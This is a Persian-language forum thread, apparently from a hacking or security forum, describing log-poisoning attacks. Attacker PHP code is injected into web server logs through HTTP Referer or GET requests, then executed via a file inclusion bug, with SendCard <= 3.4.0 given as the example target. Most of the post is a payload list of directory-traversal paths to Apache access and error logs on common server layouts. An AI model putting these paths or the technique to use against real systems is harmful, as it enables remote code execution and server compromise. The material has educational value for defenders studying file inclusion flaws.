حملات جديد CURLF INjection

[subzero_icecity]

با سلام

اين حملات تزريق كد هاي مخرب به log فايل هاي و load آنها توسط نفوذ گر ميباشد

اينم مقالش

http://forums.simorgh-ev.com/download.php?id=114

---

موضوعات مشابه:

• VBulettin <=3.6.4 SQL Injection Exploit
• Process injection چیست ؟
• معرفی SQL Injection Attacks و نحوه پیشگیری از آن
• آموزش sql injection

---

[subzero_icecity]

نمونه عملي اين حمله براي باگي هست كه جهت نفوذ به : SendCard <= 3.4.0 نوشته شده (باگ را از milw0rm به دست آوريد .)

نمونه اي از جاهايي كه كد مخرب(در اينجا كد php را به صورت Refererr يا GET در پرتكل HTTP تزريق ميكند ) ، در آنجا ثبت شده و هكر قصد Include كردن آن را با استفاده از يك باگ file injection دارد .


كد: "../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log